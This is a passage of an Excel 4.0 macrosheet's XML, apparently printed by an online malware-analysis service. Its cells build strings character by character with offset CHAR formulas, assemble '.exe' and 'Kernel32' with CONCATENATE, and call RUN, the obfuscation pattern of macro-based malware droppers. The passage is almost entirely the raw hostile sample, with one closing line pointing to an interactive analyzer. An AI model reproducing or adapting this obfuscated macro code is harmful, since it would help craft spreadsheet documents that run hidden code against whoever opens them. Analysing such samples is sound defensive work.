t="str"><f>CHAR($BX$1687-684)</f><v>C</v></c></row><row r="1887" spans="15:134" x14ac:dyDescent="0.25"><c r="BX1887"><v>776</v></c></row><row r="1898" spans="3:3" x14ac:dyDescent="0.25"><c r="C1898"><v>790</v></c></row><row r="1908" spans="81:220" x14ac:dyDescent="0.25"><c r="HH1908" t="str"><f>CHAR($DH$633-757)</f><v>E</v></c><c r="HL1908" t="b"><f>RUN($HA$298)</f><v>0</v></c></row><row r="1913" spans="81:220" x14ac:dyDescent="0.25"><c r="CC1913"><v>80</v></c></row><row r="1915" spans="81:220" x14ac:dyDescent="0.25"><c r="DY1915" t="str"><f>CONCATENATE($FU$1282,$GW$522,$FE$643,$ER$481)</f><v>.exe</v></c></row><row r="1916" spans="81:220" x14ac:dyDescent="0.25"><c r="CD1916" t="b"><f>RUN($EK$396)</f><v>0</v></c></row><row r="1921" spans="61:221" x14ac:dyDescent="0.25"><c r="BI1921" t="str"><f>CHAR($EX$1567-4)</f><v>e</v></c></row><row r="1924" spans="61:221" x14ac:dyDescent="0.25"><c r="DW1924" t="str"><f>CHAR($DY$144-4)</f><v>l</v></c></row><row r="1927" spans="61:221" x14ac:dyDescent="0.25"><c r="FA1927"><v>108</v></c></row><row r="1928" spans="61:221" x14ac:dyDescent="0.25"><c r="FK1928"><v>36</v></c></row><row r="1936" spans="61:221" x14ac:dyDescent="0.25"><c r="HM1936"><v>856</v></c></row><row r="1944" spans="29:239" x14ac:dyDescent="0.25"><c r="EA1944"><v>17</v></c></row><row r="1945" spans="29:239" x14ac:dyDescent="0.25"><c r="AC1945" t="str"><f>CHAR($DS$1855-757)</f><v>l</v></c></row><row r="1950" spans="29:239" x14ac:dyDescent="0.25"><c r="BG1950"><v>17</v></c></row><row r="1951" spans="29:239" x14ac:dyDescent="0.25"><c r="IE1951" t="str"><f>CHAR($FI$213-757)</f><v>e</v></c></row><row r="1952" spans="29:239" x14ac:dyDescent="0.25"><c r="AU1952" t="b"><f>RUN($BR$1206)</f><v>0</v></c></row><row r="1953" spans="2:223" x14ac:dyDescent="0.25"><c r="HO1953" t="str"><f>CHAR($CW$1158-684)</f><v>e</v></c></row><row r="1964" spans="2:223" x14ac:dyDescent="0.25"><c r="B1964" t="str"><f>CHAR($BX$1607-357)</f><v>5</v></c><c r="GA1964"><v>14</v></c></row><row r="1967" spans="2:223" x14ac:dyDescent="0.25"><c r="CC1967"><v>799</v></c></row><row r="1973" spans="203:240" x14ac:dyDescent="0.25"><c r="IF1973"><v>858</v></c></row><row r="1976" spans="203:240" x14ac:dyDescent="0.25"><c r="GU1976"><v>10</v></c></row><row r="1985" spans="33:90" x14ac:dyDescent="0.25"><c r="AJ1985" t="str"><f>CONCATENATE($CB$1385,$BI$1921,$EY$1635,$IJ$1460,$FK$1869,$FM$1423,$DC$3,$AX$201)</f><v>Kernel32</v></c></row><row r="1988" spans="33:90" x14ac:dyDescent="0.25"><c r="CL1988" t="str"><f>CHAR($K$779-357)</f><v>1</v></c></row><row r="1997" spans="33:90" x14ac:dyDescent="0.25"><c r="CB1997" t="str"><f>CHAR($GK$742-757)</f><v>r</v></c></row><row r="1998" spans="33:90" x14ac:dyDescent="0.25"><c r="AG1998"><v>79</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.